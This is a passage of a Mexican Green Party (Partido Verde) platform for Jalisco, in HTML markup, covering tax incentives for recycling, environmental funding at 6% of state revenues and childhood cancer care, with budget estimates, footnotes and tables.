(19.1%)<\/p>\n<\/td>\n<td width=\"135\">\n<p>7.6 millones (200%)<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"160\">\n<p>Personas f\u00edsicas con actividades empresariales y profesionales<sup>1<\/sup><\/p>\n<\/td>\n<td width=\"134\">\n<p>5.1 millones (11.4%)<\/p>\n<\/td>\n<td width=\"147\">\n<p>3.3 millones (5.6%)<\/p>\n<\/td>\n<td width=\"135\">\n<p>-1.8 millones (35%)<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"160\">\n<p>Peque\u00f1os contribuyentes<\/p>\n<\/td>\n<td width=\"134\">\n<p>3.9 millones (8.7%)<\/p>\n<\/td>\n<td width=\"147\">\n<p>No aplica<\/p>\n<\/td>\n<td width=\"135\">\n<p>-3.9 millones (-100%)<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"160\">\n<p>Incorporaci\u00f3n fiscal (RIF)<\/p>\n<\/td>\n<td width=\"134\">\n<p>No aplica<\/p>\n<\/td>\n<td width=\"147\">\n<p>4.7 millones (7.9%)<\/p>\n<\/td>\n<td width=\"135\">\n<p>4.7 millones (100%)<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"160\">\n<p>Actividades agr\u00edcolas, ganaderas, silv\u00edcolas y pesqueras<\/p>\n<\/td>\n<td width=\"134\">\n<p>No aplica<\/p>\n<\/td>\n<td width=\"147\">\n<p>1.5 millones (2.5%)<\/p>\n<\/td>\n<td width=\"135\">\n<p>1.5 millones (100%)<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"160\">\n<p>Otros<\/p>\n<\/td>\n<td width=\"134\">\n<p>3.6 millones (8.1%)<\/p>\n<\/td>\n<td width=\"147\">\n<p>3.6 millones (6.1%)<\/p>\n<\/td>\n<td width=\"135\">\n<p>&#8211;<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>1\/ En 2013 incluye tambi\u00e9n al r\u00e9gimen intermedio de las personas f\u00edsicas con actividades empresariales, que desaparece para 2014.<\/p>\n<p>Parece haber una tendencia a favorecer la incorporaci\u00f3n de personas f\u00edsicas en comparaci\u00f3n con las personas morales. De septiembre de 2013 a 2017 el n\u00famero de contribuyentes personas f\u00edsicas creci\u00f3 m\u00e1s del 30 por ciento, mientras que el de personas morales no lleg\u00f3 al 14 por ciento de crecimiento. Se infiere que el RIF ha incidido en este comportamiento, pues solamente permite la incorporaci\u00f3n de contribuyentes personas f\u00edsicas.<\/p>\n<p>De lo anterior, se propone promover el desarrollo de la industria del reciclaje mediante la generaci\u00f3n de incentivos fiscales.<\/p>\n<p><strong>Estimaci\u00f3n de impacto presupuestario<\/strong><\/p>\n<p>El impacto se ver\u00e1 reflejado en un aumento de los gastos fiscales, es decir, en una disminuci\u00f3n de los ingresos del erario.<\/p>\n<p>Para la estimaci\u00f3n se toman como base los datos manejados por la Escuela Superior de Econom\u00eda del Instituto Polit\u00e9cnico Nacional (IPN) en el documento <em>Estimaci\u00f3n de la evasi\u00f3n por la venta de material para la industria de reciclaje<a href=\"#_ftn21\" name=\"_ftnref21\"><sup><strong>[21]<\/strong><\/sup><\/a><\/em>.<\/p>\n<p>Se estima el posible impacto presupuestario de:<\/p>\n<p><u>Tasa 0% de IVA en venta por primera vez.<\/u><\/p>\n<p>Se estima el ingreso por la venta de material reciclado (primera vez) en 8,039.6 millones de pesos (mdp) en 2013. Al traer esta informaci\u00f3n a 2017, se aplica la tasa de variaci\u00f3n que se infiere de los datos publicados por el INEGI de 2013 a 2017. Se tiene que los ingresos del sector han crecido cerca del 4.9 por ciento, lo que significa que los ingresos estimados por estas ventas en 2017 ascender\u00edan a 8,431.8 mdp. Al aplicarle la tasa de 0% a estas transacciones se estar\u00edan dejando de ingresar al erario 1,341.1 mdp al a\u00f1o.<\/p>\n<p><u>Tasa 0% de ISR en venta por primera vez.<\/u><\/p>\n<p>Considerando que actualmente se paga el 5 por ciento de ISR, se podr\u00eda afirmar que al aplicar la tasa de 0% de ISR a los 8,431.8 mdp de ingresos se estar\u00eda dejando de percibir el 5% de \u00e9stos, es decir, 421.6 mdp.<\/p>\n<p><strong>En total, los gastos fiscales por la aplicaci\u00f3n de la tasa cero al IVA y al ISR en venta por primera vez de materia prima para reciclaje ascender\u00eda a 1,771 mdp anuales.<\/strong><\/p>\n<p><strong>EN EL PARTIDO VERDE, PROPONEMOS:<\/strong><\/p>\n<ul>\n<li>Proponer la reforma al art\u00edculo1o A de la Ley del Impuesto al Valor Agregado (LIVA) para incluir a las personas f\u00edsicas que adquieran desperdicios para ser utilizados como insumo de su actividad industrial o para su comercializaci\u00f3n como personas obligadas a retener el impuesto que se les traslade.<\/li>\n<li>Proponer la reformar la fracci\u00f3n I del art\u00edculo 2\u00ba.-A de la LIVA, para incluir la enajenaci\u00f3n de materia prima para el reciclaje (en compra de primera vez o hasta cierto l\u00edmite en valor de venta) dentro de la tasa del 0%.<\/li>\n<li>Proponer reformar el art\u00edculo 93 de la Ley del Impuesto sobre la Renta (LISR), para incluir dentro de los ingresos que no causan ISR a los obtenidos por la venta (por primera vez o hasta cierto l\u00edmite del valor total de venta) de materia prima para el reciclaje.<\/li>\n<\/ul>\n<p>O bien<\/p>\n<ul>\n<li>Generar un cap\u00edtulo nuevo en la LISR que trate sobre un r\u00e9gimen especial para el sector del reciclaje (como el r\u00e9gimen de actividades agr\u00edcolas, ganaderas, silv\u00edcolas y pesqueras del cap\u00edtulo VIII de la LISR). Esto podr\u00eda requerir que espec\u00edficamente se elimine la posibilidad de que las personas f\u00edsicas que recolectan se adhieran al RIF (art\u00edculo 111).<\/li>\n<\/ul>\n<p>O bien<\/p>\n<ul>\n<li>Reformar el art\u00edculo 111 de la LISR a fin de permitir a las personas morales (con algunas restricciones) su integraci\u00f3n a este r\u00e9gimen (RIF).<\/li>\n<li>Generar una Norma T\u00e9cnica Estatal que permita conocer los lineamientos para la acreditaci\u00f3n de ser una empresa socialmente responsable en cuanto al reciclaje y separaci\u00f3n de sus desechos.<\/li>\n<li>Reformar la\u00a0 Ley de Hacienda Municipal del Estado de Jalisco, para brindar est\u00edmulos fiscales a quienes se certifiquen como empresas ambientales en el Programa de Certificaci\u00f3n ambiental Voluntario.<\/li>\n<li>Reformar la Ley de Gesti\u00f3n Integral de los Residuos del Estado de Jalisco, as\u00ed como la Ley Estatal del Equilibrio Ecol\u00f3gico y la protecci\u00f3n al Ambiente, a efecto de que se acredite como una actividad prioritaria para la obtenci\u00f3n de est\u00edmulos fiscales, el reciclaje de las personas f\u00edsicas y jur\u00eddicas que as\u00ed lo acrediten.<\/li>\n<li>Reformar la Ley de Hacienda Municipal del Estado de Jalisco, para otorgar estimulas fiscales\u00a0 a quienes acrediten ser ambientalmente responsables al reciclar sus desechos.<\/li>\n<\/ul>\n<p><strong>T\u00cdTULO: FINANCIAMIENTO AL MEDIO AMBIENTE<\/strong><\/p>\n<p><strong>VISI\u00d3N: <\/strong>Garantizar el derecho a un medio ambiente sano en los municipios del Estado<\/p>\n<p><strong>RESUMEN EJECUTIVO: <\/strong><\/p>\n<p>Toda persona tiene derecho a un medio ambiente sano para su desarrollo y bienestar, siendo el Estado el encargado de garantizar este derecho, plasmado en el art\u00edculo cuarto de la Constituci\u00f3n Pol\u00edtica de los Estados Unidos Mexicanos. Esto se conoce como un derecho difuso por ser inmanente a todas sin distinci\u00f3n, todos tenemos derecho al acceso igualitario a un medio ambiente digno.<\/p>\n<p>Dentro de la legislaci\u00f3n mexicana en materia ambiental hasta el momento no hay Ley que estipule la obligatoriedad a las Entidades Federativas a destinar recursos espec\u00edficos a actividades y programas directamente relacionados con la protecci\u00f3n y cuidado del medio ambiente, ni mucho menos en hacer frente a los costos de degradaci\u00f3n ambiental y agotamiento de los recursos naturales de manera directa. No obstante el art\u00edculo 7 de la Ley General del Equilibrio Ecol\u00f3gico y la Protecci\u00f3n al Ambiente, nos faculta como entidad federativa en la formulaci\u00f3n, conducci\u00f3n y evaluaci\u00f3n de la pol\u00edtica ambiental estatal, as\u00ed como la aplicaci\u00f3n de los instrumentos de pol\u00edtica ambiental previstos en la diversidad de leyes con las que contamos en la materia, con la finalidad de fomentar la preservaci\u00f3n y restauraci\u00f3n del equilibrio ecol\u00f3gico y la protecci\u00f3n al ambiente que se realice en bienes y zonas de jurisdicci\u00f3n estatal, la prevenci\u00f3n y control de la contaminaci\u00f3n atmosf\u00e9rica generada por fuentes fijas que funcionen como establecimientos industriales, as\u00ed como por fuentes m\u00f3viles.<\/p>\n<p>En este contexto el gasto destinado a la protecci\u00f3n ambiental en comparaci\u00f3n con los costos ambientales y por el agotamiento de los recursos naturales generados por la actividad diaria de la sociedad Mexicana es m\u00ednimo, por lo que la creciente complejidad de los problemas que afectan al medio ambiente en el mundo, ha obligado a la comunidad internacional a crear un marco jur\u00eddico y program\u00e1tico que disponga de herramientas financieras para promover pol\u00edticas p\u00fablicas en la materia, con la participaci\u00f3n de los gobiernos y los ciudadanos comprometidos con la preservaci\u00f3n ambiental, el cuidado de los recursos naturales y fomento del desarrollo sustentable.<\/p>\n<p>As\u00ed han surgido un conjunto de mecanismos dise\u00f1ados para captar y canalizar los recursos econ\u00f3micos necesarios para hacer frente al enorme desaf\u00edo que representa hoy la falta de racionalidad en la explotaci\u00f3n de los recursos naturales en los pa\u00edses en v\u00edas de desarrollo y el negativo impacto del crecimiento industrial de los pa\u00edses desarrollados. En este marco es que en los \u00faltimos a\u00f1os se han creado una serie de leyes que ya contemplan diversas figuras y herramientas de corte financiero, como es el caso de los Fondos forestales y ambientales, que han venido apoyando diversos programas y proyectos beneficiosos para a la naturaleza y el medio ambiente.<\/p>\n<p>En el Estado de Jalisco no hab\u00eda sido posible avanzar en este sentido, no obstante que desde el a\u00f1o 2007 se modific\u00f3 la Ley Estatal del Equilibrio Ecol\u00f3gico y la Protecci\u00f3n al Ambiente, en cuyo art\u00edculo Segundo Transitorio espec\u00edficamente se contempl\u00f3 la obligaci\u00f3n de crear la figura del fondo ambiental como herramienta financiera tanto para el Estado como para los municipios para la investigaci\u00f3n, estudio y atenci\u00f3n de asuntos en materia ambiental que se considere de inter\u00e9s para el Estado.<\/p>\n<p><strong>PLANTEAMIENTO DEL PROBLEMA:<\/strong><\/p>\n<p>Los problemas ambientales como las contingencias ambientales en la Magalopolis; la escasez de los recursos no renovables; la falta de energ\u00eda limpia-renovable; el manejo de residuos s\u00f3lidos, entre otros, son de total preocupaci\u00f3n tanto para la sociedad civil como de las autoridades. Lamentablemente, esos inconvenientes se han ido acrecentando conforme la poblaci\u00f3n y el proceso de industrializaci\u00f3n han aumentado.<\/p>\n<p>Como se puede observar los gastos en protecci\u00f3n ambiental realizados en 2014 por el sector p\u00fablico en su conjunto y los hogares alcanz\u00f3 un monto de 147,666 millones de pesos, lo cual represent\u00f3 el 0.9% del PIB a precios de mercado. Este gasto se destin\u00f3 principalmente al sector de la construcci\u00f3n con 31.1%; seguido de las actividades de Gobierno 24.6%; la Miner\u00eda 21.2%; los Servicios profesionales, cient\u00edficos y t\u00e9cnicos el 8.6%; y la generaci\u00f3n, transmisi\u00f3n y distribuci\u00f3n de energ\u00eda el\u00e9ctrica, agua y suministro de gas por ductos al consumidor final, 8 por ciento. En conjunto, a estos sectores se destin\u00f3 el 93.5% del total de gasto en protecci\u00f3n ambiental. Mientras que los costos totales por agotamiento y degradaci\u00f3n ambiental en el a\u00f1o de 2014 ascendieron a 910,906 millones de pesos, lo cual representa el 5.3% del PIB a precios de mercado.<\/p>\n<p>Es decir del 5.3% de PIB que representan los costos totales por agotamiento y degradaci\u00f3n ambiental, solo se compensa con el 0.9% del PIB en gastos para la protecci\u00f3n ambiental, lo que conlleva un diferencial de 4.4% del PIB o en t\u00e9rminos\u00a0 monetarios tiene una implicaci\u00f3n de 763,240 millones de pesos, los cuales no tienen una compensaci\u00f3n de gastos destinados a la protecci\u00f3n ambiental para resarcir los costos ambientales. Sin ser Jalisco la excepci\u00f3n.<\/p>\n<p>Si Jalisco destinara por lo menos el 6% de sus ingresos propios a las actividades y programas relacionados con la protecci\u00f3n y conservaci\u00f3n del medio ambiente, se podr\u00e1 garantizar la preservaci\u00f3n de los recursos naturales y el derecho a un medio ambiente sano, donde el impacto presupuestal ser\u00eda el siguiente:<\/p>\n<p>Tabla 2.<\/p>\n<table width=\"561\">\n<tbody>\n<tr>\n<td colspan=\"6\" width=\"561\">\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>Recaudaci\u00f3n de impuestos y derechos locales (IE) de 2015 p\/<\/strong><\/p>\n<p><strong>Millones de pesos<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"80\">\n<p>Impuestos<\/p>\n<p>Estatales<\/p>\n<\/td>\n<td width=\"76\">\n<p><strong>Derechos<\/strong><\/p>\n<p><strong>Estatales<\/strong><\/p>\n<\/td>\n<td width=\"95\">\n<p><strong>Impuesto<\/strong><\/p>\n<p><strong>Predial<\/strong><\/p>\n<\/td>\n<td width=\"113\">\n<p><strong>Derechos<\/strong><\/p>\n<p><strong>de Agua<\/strong><\/p>\n<\/td>\n<td width=\"85\">\n<p><strong>Total<\/strong><\/p>\n<\/td>\n<td width=\"109\">\n<p><strong>6% del Total<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"80\">\n<p><strong>3,799.5<\/strong><\/p>\n<\/td>\n<td width=\"76\">\n<p>2,508.3<\/p>\n<\/td>\n<td width=\"95\">\n<p>2,949.7<\/p>\n<\/td>\n<td width=\"113\">\n<p>3,793.8<\/p>\n<\/td>\n<td width=\"85\">\n<p>13,051.3<\/p>\n<\/td>\n<td width=\"109\">\n<p>783.1<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td colspan=\"6\" width=\"561\">\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>Fuente: Cuentas P\u00fablicas de las Entidades Federativas<\/strong><\/p>\n<p><strong>p\/ Preliminar.<\/strong><\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u00a0<\/p>\n<p>De acuerdo con los datos que anteceden, se estar\u00eda aportando m\u00e1s recursos para el cuidado y protecci\u00f3n al ambiente, con un monto total de 1,220.6 millones de pesos. En este sentido, es necesario plantear una \u201cpol\u00edtica ambiental donde emerja la posibilidad de prevenir, encausar o corregir el impacto humano sobre el medio ambiente natural; con\u00a0 una acci\u00f3n deliberada mediante la cual se proyecta un orden social, se proponga un camino y se modela una propuesta de futuro<a href=\"#_ftn22\" name=\"_ftnref22\"><sup>[22]<\/sup><\/a>\u201d.<\/p>\n<p><strong>EN EL PARTIDO VERDE PROPONEMOS: <\/strong><\/p>\n<ul>\n<li>Proponemos que en el Proyecto de Presupuesto de Egresos Anual, se procure por lo menos, el 6% del total de los ingresos propios para actividades y programas relacionados directamente con la protecci\u00f3n y conservaci\u00f3n del medio ambiente que la entidad federativa requiera.<\/li>\n<li>Vigilar el destino del Fondo Ambiental para financiar Programas Ambientales que mitiguen el deterioro, as\u00ed como para la investigaci\u00f3n, estudio y atenci\u00f3n de asuntos en materia ambiental que se considere de inter\u00e9s para el Estado.<\/li>\n<\/ul>\n<p><a href=\"#_ftnref1\" name=\"_ftn1\">[1]<\/a> Presentaci\u00f3n sobre la reducci\u00f3n de emisiones de los empleados de la SEMARNAT mediante la disminuci\u00f3n de demandas de viajes, ejercicio piloto realizado exclusivamente para las condiciones del personal que labora en SEMARNAT. DGGCARETC.<\/p>\n<p><a href=\"#_ftnref2\" name=\"_ftn2\">[2]<\/a> Estad\u00edsticas de agua en M\u00e9xico, edici\u00f3n a 2016, http:\/\/files.conagua.gob.mx\/conagua\/publicaciones\/Publicaciones\/EAM2016.pdf<\/p>\n<p><a href=\"#_ftnref3\" name=\"_ftn3\">[3]<\/a>Brensing Karsten, Linke Katrin, Todt Dietmar, \u201cCan Dolphins Heal by Ultrasound?\u201d, en Alaniz P., Yolanda y Rojas Laura, Delfinarios, M\u00e9xico, COMARINO, 2007, p.31<\/p>\n<p><a href=\"#_ftnref4\" name=\"_ftn4\">[4]<\/a>http:\/\/www.beta.inegi.org.mx\/app\/mapa\/denue\/default.aspx<\/p>\n<p><a href=\"#_ftnref5\" name=\"_ftn5\">[5]<\/a>https:\/\/permaculturarioja.wordpress.com\/2013\/08\/13\/538\/<\/p>\n<p><a href=\"#_ftnref6\" name=\"_ftn6\">[6]<\/a> GUERRERO, ANA. <em>Enfermedades Parasitarias que las mascotas pueden contagiarte<\/em>. Consejo Nacional de Ciencia y Tecnolog\u00eda(CONACYT). M\u00e9xico. 2017.<\/p>\n<p><a href=\"#_ftnref7\" name=\"_ftn7\">[7]<\/a>VEGA, SANTIAGO. <em>Par\u00e1sitos gastrointestinales en cachorros caninos provenientes de la venta comercial en el Cercado de Lima. Salud y Tecnolog\u00eda Veterinaria.<\/em> Per\u00fa. 2014<\/p>\n<p><a href=\"#_ftnref8\" name=\"_ftn8\">[8]<\/a><em>Ibidem<\/em>.<\/p>\n<p><a href=\"#_ftnref9\" name=\"_ftn9\">[9]<\/a>De acuerdo con la Ley de Protecci\u00f3n a los Animales dela Ciudad de M\u00e9xico: Animal Dom\u00e9stico es el animal que ha sido reproducido y criado bajo el control del ser humano, que convive con \u00e9l y requiere de este para su subsistencia y que no se trate de animales silvestres.<\/p>\n<p><a href=\"#_ftnref10\" name=\"_ftn10\">[10]<\/a>Hyun-Sook lee Kim. <em>El Mercado Creciente de las Mascotas en M\u00e9xico: Beneficios y Oportunidades de Negocios<\/em>. INCEPTUM. M\u00e9xico. 2014<\/p>\n<p><a href=\"#_ftnref11\" name=\"_ftn11\">[11]<\/a>Bolet\u00edn UNAM-DGCS-054. El tr\u00e1fico de animales es la tercera actividad il\u00edcita m\u00e1s redituable en el mundo. 2016.<\/p>\n<p><a href=\"#_ftnref12\" name=\"_ftn12\">[12]<\/a>Procuradur\u00eda Federal de Protecci\u00f3n al Ambiente. Informe de actividades 2016.<\/p>\n<p><a href=\"#_ftnref13\" name=\"_ftn13\">[13]<\/a> https:\/\/www.epa.gov\/sites\/production\/files\/documents\/neea.pdf<\/p>\n<p><a href=\"#_ftnref14\" name=\"_ftn14\">[14]<\/a> Universidad Cat\u00f3lica, Chile 2010.<\/p>\n<p><a href=\"#_ftnref15\" name=\"_ftn15\">[15]<\/a> http:\/\/ww.aufop.com\/aufop\/uploaded_files\/articulos\/1269276607.pdf<\/p>\n<p><a href=\"#_ftnref16\" name=\"_ftn16\">[16]<\/a> https:\/\/www.un.org\/ruleoflaw\/es\/un-and-the-rule-of-law\/united-nations-environment-programme\/<\/p>\n<p><a href=\"#_ftnref17\" name=\"_ftn17\">[17]<\/a> Encuesta Mensual sobre Empresas Comerciales. http:\/\/www.inegi.org.mx\/sistemas\/bie\/. Fecha de consulta: 30\/11\/2017 12:49:20<\/p>\n<p><a href=\"#_ftnref18\" name=\"_ftn18\">[18]<\/a> Ver http:\/\/www.sat.gob.mx\/informacion_fiscal\/factura_electronica\/Documents\/infografia_recicladores.pdf. Consulta del 29 de noviembre de 2017.<\/p>\n<p><a href=\"#_ftnref19\" name=\"_ftn19\">[19]<\/a> http:\/\/www.sat.gob.mx\/cifras_sat\/Paginas\/inicio.html. Padr\u00f3n. Consulta del 23 de noviembre de 2017.<\/p>\n<p><a href=\"#_ftnref20\" name=\"_ftn20\">[20]<\/a> Se utilizan fechas comparables para evitar problemas de estacionalidad.<\/p>\n<p><a href=\"#_ftnref21\" name=\"_ftn21\">[21]<\/a> IPN (sin a\u00f1o) <strong>Estimaci\u00f3n de la evasi\u00f3n por la venta de material para la industria de reciclaje<\/strong>. Escuela Superior de Econom\u00eda. Recuperado de: http:\/\/www.sat.gob.mx\/administracion_sat\/estudios_evasion_fiscal\/Documents\/evasion_industria_reciclaje.pdf. Consulta del 30 de noviembre de 2017.<\/p>\n<p><a href=\"#_ftnref22\" name=\"_ftn22\">[22]<\/a>http:\/\/2010.colmex.mx\/16tomos\/IV.pdf<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tVI.\tSalud\t\t\t\t\t<\/p>\n<p><strong>T\u00cdTULO: C\u00c1NCER INFANTIL BIEN ATENDIDO<\/strong><\/p>\n<p><strong>VISI\u00d3N<\/strong>: Incrementar los recursos asignados para atender el c\u00e1ncer infantil, y garantizar su actividad laboral de los padres de familia o tutor, ya que son el sustento de los ni\u00f1os con c\u00e1ncer.<\/p>\n<p><strong>RESUMEN EJECUTIVO:<\/strong><\/p>\n<p>La Organizaci\u00f3n Mundial de la Salud (OMS), a trav\u00e9s del proyecto GLOBOCAN de la International Agency for Research on Cancer (IARC), estim\u00f3 que para el a\u00f1o 2012 la incidencia anual de c\u00e1ncer en menores de 15 a\u00f1os en el mundo fue de 88 casos por mill\u00f3n de habitantes; por regi\u00f3n, las incidencias m\u00e1s altas se identificaron en Europa y Am\u00e9rica (139 y 126 casos por mill\u00f3n respectivamente.) Las leucemias ocuparon el 1\u00ba lugar (31%), seguidos por los linfomas (15%), tumores del Sistema Nervioso Central (SNC) (13%), renales (6%) y hep\u00e1ticos (2%).<\/p>\n<p>En M\u00e9xico se estima que existen anualmente aproximadamente entre 5,000 y 6,000 casos nuevos de c\u00e1ncer en menores de 18 a\u00f1os y tan s\u00f3lo en Jalisco en el a\u00f1o del 2016 se presentaron 1, 839 casos de c\u00e1ncer infantil, de los cuales el 70% de \u00e9stos son curables.\u00a0 Seg\u00fan el registro Estatal del C\u00e1ncer, la incidencia de c\u00e1ncer en Jalisco desde 1992 al 2010, es la siguiente:<\/p>\n<p>El c\u00e1ncer infantil es la principal causa de muerte por enfermedad en mexicanos entre 5 y 14 a\u00f1os de edad, conforme a las cifras preliminares 2013 reportadas en el Sistema Estad\u00edstico Epidemiol\u00f3gico de las Defunciones (SEED), sin embargo en Jalisco se ha logrado reducir la mortalidad, logrando una tasa de curaci\u00f3n de casi al 70%, esto es por arriba de la tasa nacional reportado por la Secretar\u00eda de Salud Federal, sin embargo es necesario un esfuerzo inminente para superar \u00e9sta cifra, por lo que es necesario hacer un diagn\u00f3stico oportuno, un tratamiento especializado y desde luego el seguimiento del tratamiento para obtener beneficios sustanciales. Con la finalidad de dimensionar \u00e9sta problem\u00e1tica se anexa las siguientes tablas que emite el Registro Estatal del C\u00e1ncer para conocer las dimensiones de este problema en cuando a la edad y el sexo, enfatizando la edad pedi\u00e1trica en el 2010:<\/p>\n<p>A pesar de que la incidencia es alta, lamentablemente, Jalisco cuenta con un d\u00e9ficit de especialistas m\u00e9dicos, esto respecto al promedio que indica la OCDE la cual se\u00f1ala que se necesitan 1.78 expertos por cada mil habitantes, adem\u00e1s tan s\u00f3lo tenemos dos hospitales acreditados para tratar el c\u00e1ncer en ni\u00f1os y adolescentes, sin embargo ante la alta demanda de servicios m\u00e9dicos, \u00e9stos se distribuyen entre el Hospital Civil, el Hospital General de Occidente Zoquipan, y el resto en el IMSS y el ISSSTE, sin mencionar que las camas del Hospital Civil se encuentran sobresaturadas, por lo que debemos abrir espacios para atender a \u00e9stos ni\u00f1os que se encuentran con un problema cr\u00edtico o bien que si se atienden oportunamente tienen una mayor esperanza de vida. Esto quiere decir que a\u00fan hace falta mucho por hacer para poder subsanar el d\u00e9ficit que se refleja.<\/p>\n<p><strong>PLANTEAMIENTO DEL PROBLEMA:<\/strong><\/p>\n<p>El c\u00e1ncer infantil en Jalisco como en M\u00e9xico es un grave problema de salud p\u00fablica que representa un reto multidisciplinario, pero para obtener un \u00f3ptimo control implica ofrecer educaci\u00f3n para la salud; mejorar los programas de prevenci\u00f3n y detecci\u00f3n oportuna de c\u00e1ncer; acrecentar la infraestructura de los recintos m\u00e9dicos; y suministrar cuidados paliativos para mejorar la calidad de vida. Debemos considerar que el principal problema del sector salud es la falta de recursos econ\u00f3micos, seg\u00fan el Registro Estatal de Jalisco 2010, los casos diagnosticados en el Estado fueron atendidos de la siguiente forma:<\/p>\n<p>Con base en lo establecido en el Programa de Acci\u00f3n Especifico, \u201cC\u00e1ncer en la Infancia y la Adolescencia 2013-2018\u201d, la principal estrategia para disminuir los estragos de una enfermedad una vez diagnosticada, es la prevenci\u00f3n secundaria. La posibilidad de sobrevivir al c\u00e1ncer en estados iniciales sobrepasa el 80%, mientras que esta cifra disminuye a menos del 20% en etapas avanzadas de la enfermedad. Espec\u00edficamente en c\u00e1ncer de la infancia y adolescencia, las medidas m\u00e1s eficaces de prevenci\u00f3n secundaria consisten en detecci\u00f3n temprana, acceso efectivo a los servicios de salud y tratamiento oportuno, integral y efectivo de la enfermedad.<\/p>\n<p>Para lograr el objetivo de disminuir la mortalidad en ni\u00f1as, ni\u00f1os y adolescentes con c\u00e1ncer, se deben considerar las siguientes estrategias:<\/p>\n<ul>\n<li>Diagn\u00f3stico temprano.<\/li>\n<li>Acceso efectivo.<\/li>\n<li>Tratamiento oportuno, integral y de calidad.<\/li>\n<li>Capacitaci\u00f3n al personal de salud.<\/li>\n<li>Disminuir el abandono al tratamiento.<\/li>\n<li>Contar con un registro fidedigno y completo de los casos.<\/li>\n<li>Campa\u00f1a de comunicaci\u00f3n masiva para conciencia social.<\/li>\n<\/ul>\n<p>En vista de lo anterior, se considera necesario reforzar la atenci\u00f3n temprana y el tratamiento del c\u00e1ncer infantil; en cualquier unidad m\u00e9dica, sin importar que los padres de familia o en su caso el tutor sean derechohabientes, debido a que son pocas las Unidades M\u00e9dicas Acreditadas, comparado con el n\u00famero de pacientes que son tratados.<\/p>\n<p>Tambi\u00e9n debemos tomar en consideraci\u00f3n que los j\u00f3venes no realizan una especialidad m\u00e9dica debido a que dichos estudios se financian mediante recursos propios de los profesionales o a trav\u00e9s de las becas entregadas por el gobierno que generalmente resultan ineficientes debido al alto costo que implica el estudio de una especializaci\u00f3n as\u00ed. Tomando en cuenta lo anterior\u00a0 muchos de los egresados con especialidades no laboran en instituciones p\u00fablicas, debido a que reciben mayores incentivos para trabajar en instituciones privadas.<\/p>\n<p>Adem\u00e1s de autorizar a las unidades m\u00e9dicas del Instituto Mexicano del Seguro Social (IMSS) y al Instituto de Seguridad y Servicios Sociales de los Trabajadores del Estado (ISSSTE), para que se brinde la atenci\u00f3n m\u00e9dica oportuna en ni\u00f1os y j\u00f3venes.<\/p>\n<p>A continuaci\u00f3n, se enlistan algunos Estados de la Rep\u00fablica Mexicana para ejemplificar el n\u00famero de Unidades M\u00e9dicas Acreditadas.<\/p>\n<p><strong>Unidades M\u00e9dicas Acreditadas<\/strong><\/p>\n<table>\n<tbody>\n<tr>\n<td width=\"92\">\n<p><strong>ESTADO<\/strong><\/p>\n<\/td>\n<td width=\"255\">\n<p><strong>UNIDAD M\u00c9DICA ACREDITADA<\/strong><\/p>\n<\/td>\n<td width=\"241\">\n<p><strong>TIPO DE ACREDITACI\u00d3N<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"92\">\n<p><strong>Aguascalientes<\/strong><\/p>\n<\/td>\n<td width=\"255\">\n<p>Centenario Hospital Miguel Hidalgo<\/p>\n<\/td>\n<td width=\"241\">\n<p>Hematopat\u00edas Malignas<\/p>\n<p>Tumores s\u00f3lidos fuera del SNC<\/p>\n<p>Tumores s\u00f3lidos del SNC<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td rowspan=\"2\" width=\"92\">\n<p><strong>Chiapas<\/strong><\/p>\n<\/td>\n<td width=\"255\">\n<p>Hospital de Especialidades Pedi\u00e1tricas<\/p>\n<\/td>\n<td width=\"241\">\n<p>Hematopat\u00edas Malignas Tumores<\/p>\n<p>s\u00f3lidos fuera del SNC<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"255\">\n<p>Hospital General Tapachula<\/p>\n<\/td>\n<td width=\"241\">\n<p>Hematopat\u00edas Malignas<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td rowspan=\"2\" width=\"92\">\n<p><strong>Oaxaca<\/strong><\/p>\n<\/td>\n<td width=\"255\">\n<p>Hospital de la Ni\u00f1ez Oaxaque\u00f1a<\/p>\n<\/td>\n<td width=\"241\">\n<p>Hematopat\u00edas Malignas<\/p>\n<p>Tumores s\u00f3lidos fuera del SNC<\/p>\n<p>Tumores s\u00f3lidos del SNC<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"255\">\n<p>Hospital General Dr. Aurelio Valdivieso<\/p>\n<\/td>\n<td width=\"241\">\n<p>Hematopat\u00edas Malignas Tumores<\/p>\n<p>s\u00f3lidos fuera del SNC<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"92\">\n<p><strong>Quintana Roo<\/strong><\/p>\n<\/td>\n<td width=\"255\">\n<p>Hospital General de Chetumal<\/p>\n<\/td>\n<td width=\"241\">\n<p>Hematopat\u00edas Malignas<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"92\">\n<p><strong>San Luis Potos\u00ed<\/strong><\/p>\n<\/td>\n<td width=\"255\">\n<p>Hospital Central Dr. Ignacio Morones Prieto<\/p>\n<\/td>\n<td width=\"241\">\n<p>Hematopat\u00edas Malignas<\/p>\n<p>Tumores s\u00f3lidos fuera del SNC<\/p>\n<p>Tumores s\u00f3lidos del SNC<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"92\">\n<p><strong>Sonora<\/strong><\/p>\n<\/td>\n<td width=\"255\">\n<p>Hospital Infantil del Estado de Sonora<\/p>\n<\/td>\n<td width=\"241\">\n<p>Hematopat\u00edas Malignas Tumores<\/p>\n<p>s\u00f3lidos fuera del SNC Tumores<\/p>\n<p>s\u00f3lidos del SNC Trasplantes de<\/p>\n<p>Medula 